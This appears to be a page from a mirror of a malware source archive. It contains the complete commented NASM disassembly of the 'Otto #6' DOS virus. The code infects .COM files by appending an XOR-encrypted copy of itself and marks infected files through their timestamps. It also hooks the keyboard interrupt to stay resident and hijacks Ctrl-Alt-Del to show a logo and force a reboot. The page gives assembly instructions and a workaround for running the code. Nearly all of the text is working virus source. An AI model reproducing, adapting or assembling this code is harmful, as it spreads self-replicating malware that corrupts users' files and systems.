mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 00:18:34 +00:00
338 lines
14 KiB
NASM
338 lines
14 KiB
NASM
; Otto #6 Virus, By Youth Against McAfee
|
|
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
|
|
; Infectious Diseases 3 and some other uses...
|
|
|
|
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
|
|
; TLINK /t otto5.obj
|
|
|
|
; The assembled code will NOT execute... a big thanks to YAM for that one! The
|
|
; only workaround I got is to trace thru til the mov [00FFh], al, and just
|
|
; move the ip ahead to startencrypt!
|
|
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
start:
|
|
db 0e9h, 02, 00 ; jmp near virusentry
|
|
|
|
nop ; they had to be here
|
|
nop ; in the original
|
|
|
|
virusentry:
|
|
call getdelta ; get delta ofs
|
|
getdelta:
|
|
pop si
|
|
push si
|
|
|
|
sub si,offset getdelta ; sub original ofs
|
|
|
|
pop ax ; delta in ax
|
|
sub ax,100h
|
|
|
|
mov ds:[00FFh],al ; ds:00FFh == al
|
|
push si ; save delta
|
|
|
|
mov cx,260h ; ieterations
|
|
add si,offset startencrypt
|
|
cryptloop:
|
|
xor [si],al ; xor
|
|
inc si
|
|
rol al,1 ; rotate
|
|
loop cryptloop ; loop if cx > 0
|
|
pop si ; delta in si
|
|
|
|
startencrypt:
|
|
mov ax,word ptr ds:[first3+si] ; restore first
|
|
mov dh,byte ptr ds:[first3+si+2] ; 3 bytes
|
|
mov word ptr ds:[100h],ax
|
|
mov byte ptr ds:[102h],dh
|
|
|
|
lea dx,[si+file] ; find *.COM
|
|
xor cx,cx
|
|
mov ah,4Eh
|
|
findfirstnext:
|
|
int 21h
|
|
|
|
jnc checkinfected ; carry?
|
|
jmp takeithome ; no more files
|
|
|
|
checkinfected: ; check file
|
|
mov dx,offset 9Eh ; filename in default
|
|
mov ax,3D02h ; dta
|
|
int 21h ; open file r/w
|
|
|
|
mov bx,ax ; handle in BX
|
|
|
|
mov ax,5700h ; get file date
|
|
int 21h
|
|
|
|
cmp cl,3 ; cl = 3?
|
|
jne infectitthen ; nope
|
|
|
|
mov ah,3Eh ; infected, close
|
|
int 21h
|
|
|
|
mov ah,4Fh ; find next *.COM
|
|
jmp short findfirstnext ; again
|
|
|
|
infectitthen: ; infect the file
|
|
push cx ; push time
|
|
push dx ; push date
|
|
call lseekstart ; lseek beginning
|
|
|
|
lea dx,[si+first3] ; buffer at first3
|
|
mov cx,3 ; read 3 bytes
|
|
mov ah,3Fh
|
|
int 21h
|
|
|
|
xor cx,cx ; lseek the end
|
|
xor dx,dx ; fileside DX:AX
|
|
mov ax,4202h
|
|
int 21h
|
|
; 4D1h
|
|
mov word ptr ds:[fsize+si],ax ; save fsize
|
|
sub ax,3 ; calculate jump
|
|
mov word ptr ds:[fsize2+si],ax
|
|
call lseekstart
|
|
add ax,6 ; fsize+3
|
|
|
|
mov byte ptr ds:[lob+si],al ; lob of fsize+3
|
|
mov cx,word ptr ds:[fsize+si] ; size of file
|
|
lea dx,[si+heap] ; point at buffer
|
|
mov ah,3Fh
|
|
int 21h ; read
|
|
|
|
push si ; push delta
|
|
mov al,byte ptr ds:[lob+si] ; lod of fsize+3
|
|
add si,offset ds:[heap+3] ; point at code
|
|
call encrypt ; encrypt original
|
|
pop si ; pop delta
|
|
call lseekstart ; lseek beginning
|
|
|
|
mov cx,word ptr ds:[fsize+si] ; fsize
|
|
lea dx,[si+heap] ; buffer at heap
|
|
mov ah,40h ; write file
|
|
int 21h
|
|
|
|
jnc finishinfect ; error (attributes)
|
|
jmp short takeithome ; yes
|
|
finishinfect:
|
|
lea dx,[si+virusentry] ; write encrypter
|
|
mov cx,startencrypt-virusentry ; to file
|
|
mov ah,40h
|
|
int 21h
|
|
|
|
push si ; push delta
|
|
mov cx,heap-startencrypt ; virus length-crypt
|
|
; mov di,si ; delta in di
|
|
db 89h, 0F7h ; alternate encoding
|
|
add di,offset ds:[heap] ; point at heap
|
|
add si,offset ds:[startencrypt] ; point at virus
|
|
rep movsb ; copy code to heap
|
|
pop si ; pop delta
|
|
|
|
push si ; push delta
|
|
mov al,byte ptr ds:[lob+si] ; lob of fsize+3
|
|
mov cx,heap-startencrypt ; virus length
|
|
add si,offset ds:[heap] ; buffer at heap
|
|
call encrypt ; encrypt heap
|
|
pop si ; pop delta
|
|
|
|
mov cx,heap-startencrypt ; virus length
|
|
lea dx,[si+heap] ; buffer at heap
|
|
mov ah,40h ; write virus
|
|
int 21h
|
|
jc takeithome ; error?
|
|
|
|
call lseekstart
|
|
|
|
lea dx,[si+jump] ; buffer at jump
|
|
mov ah,40h ; write jump
|
|
mov cx,3
|
|
int 21h
|
|
jc takeithome ; error?
|
|
|
|
pop dx ; pop date
|
|
pop cx ; pop time
|
|
mov cl,3 ; set infected flag
|
|
mov ax,5701h ; set time
|
|
int 21h
|
|
|
|
mov ah,3Eh ; close file
|
|
int 21h
|
|
|
|
takeithome:
|
|
push si ; push delta
|
|
mov al, byte ptr ds:[00FFh] ; saved xor byte
|
|
xor cx,cx
|
|
; add cx,si ; the pricks use
|
|
db 01, 0f1h ; alternate encoding
|
|
add cx,3 ; ieterations in cx
|
|
mov bp,103h
|
|
mov si,bp ; unencrypt old code
|
|
call encrypt
|
|
pop si ; pop delta
|
|
|
|
mov bp,100h ; where to RET to
|
|
|
|
mov ax,0B0Bh ; RuThereCall
|
|
int 9
|
|
|
|
cmp ax,0BEEFh ; if beefy, it's
|
|
je skipinstall ; installed
|
|
|
|
xor ax, ax
|
|
mov ds, ax ; interrupt table
|
|
lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX
|
|
|
|
push bp ; push ret addr
|
|
mov bp,offset ds:[old9] ; JMP FAR PTR
|
|
mov cs:[bp+si+1],bx ; offset
|
|
mov cs:[bp+si+3],ds ; segment
|
|
pop bp ; pop ret addr
|
|
|
|
mov bx,es
|
|
dec bx ; our MCB paragraph
|
|
mov ds,bx
|
|
sub word ptr ds:[0003],80h ; allow for us to get
|
|
; some memory
|
|
mov ax, word ptr ds:[0012h] ; 1st unused segment
|
|
sub ax,80h
|
|
mov word ptr ds:[0012h],ax ; replace valu
|
|
|
|
mov es,ax ; es = our new seg
|
|
push cs ; ds = cs
|
|
pop ds
|
|
xor di,di ; es:0000 = dest.
|
|
; mov bx,si ; more alternate
|
|
db 89h, 0f3h ; encoding!!
|
|
lea si,[bx+our9] ; buffer at our9
|
|
mov cx,200 ; more than enough
|
|
rep movsb ; copy 200 bytes
|
|
|
|
mov ds,cx ; cx = 0000
|
|
mov word ptr ds:[9*4],0 ; offset (int 9)
|
|
mov word ptr ds:[9*4+2],es ; segment (int 9)
|
|
skipinstall:
|
|
push cs ; restore segments
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
push bp ; return to 100h
|
|
ret
|
|
|
|
encrypt: ; encrypt
|
|
xor [si],al ; xor
|
|
inc si
|
|
rol al,1 ; rotate left
|
|
loop encrypt ; Loop if cx > 0
|
|
ret
|
|
|
|
db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, '
|
|
db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)'
|
|
|
|
lseekstart:
|
|
push ax
|
|
push cx
|
|
push dx
|
|
mov ax, 4200h ; lseek beginning
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
ret
|
|
|
|
our9: ; our int9 handler
|
|
cmp ax, 0B0Bh
|
|
jnz NotRuThere ; not an ruthere
|
|
mov ax, 0BEEFh
|
|
IRet ; int return
|
|
NotRuThere:
|
|
push ax ; save registers
|
|
push bx
|
|
push ds
|
|
|
|
xor ax,ax ; BIOS segment
|
|
mov ds,ax
|
|
in al,60h ; get keyboard input
|
|
mov bl, byte ptr ds:[0417h] ; get shift status
|
|
test bl,08 ; alt pressed?
|
|
jz removeregistersandleave ; no
|
|
test bl,04 ; ctrl pressed?
|
|
jz whyisthishere ; no
|
|
cmp al, 53h ; delete?
|
|
jnz removeregistersandleave ; nope!
|
|
and bl,0F3h ; mask off bits
|
|
mov byte ptr ds:[0417h],bl ; place in bios
|
|
jmp onwardbuttheads ; go on
|
|
|
|
whyisthishere:
|
|
cmp al,4Ah ; why is this here?
|
|
jne removeregistersandleave
|
|
removeregistersandleave:
|
|
pop ds ; remove registers
|
|
pop bx
|
|
pop ax
|
|
; jmp returntoold9 ; more wierd
|
|
db 0e9h, 20h, 00 ; encoding!
|
|
|
|
onwardbuttheads:
|
|
push cs ; ds = cs
|
|
pop ds
|
|
|
|
mov ax,3 ; 80x25 text mode
|
|
int 10h
|
|
|
|
mov ah,2 ; set cpos
|
|
mov bh,0
|
|
mov dx,0A14h ; 10,20
|
|
int 10h
|
|
|
|
mov si,yamlogo-our9 ; point to logo
|
|
pointlessloop:
|
|
loop pointlessloop
|
|
|
|
lodsb ; load string byte
|
|
|
|
cmp al,0 ; end of string?
|
|
je coldbootus ; yes
|
|
|
|
mov ah,0Eh ; display char in al
|
|
int 10h
|
|
|
|
jmp short pointlessloop
|
|
|
|
returntoold9:
|
|
old9 db 0EAh ; JMP FAR PTR
|
|
dd 00000000 ; Int 9h
|
|
|
|
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
|
|
db ' ',0
|
|
|
|
coldbootus:
|
|
mov dx,28h
|
|
mov ds,dx ; DS = 0028h
|
|
mov word ptr ds:[0072h],0 ; DS:0072h=0
|
|
|
|
; the above does nothing, as the byte they are looking to modify is
|
|
; the warm-boot status byte, at 0040:0072h... duh...
|
|
|
|
db 0EAh ; JMP FAR PTR
|
|
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
|
|
|
|
file db '*.COM',0 ; search wildcard
|
|
|
|
first3 db 0CDh, 20h, 00h ; buffered 1st 3
|
|
|
|
jump db 0E9h ; jmp near
|
|
fsize2 db 50h, 01h
|
|
|
|
lob db 56h ; lob of fsize+3
|
|
|
|
fsize db 53h, 01h ; filesize
|
|
|
|
heap:
|
|
end start
|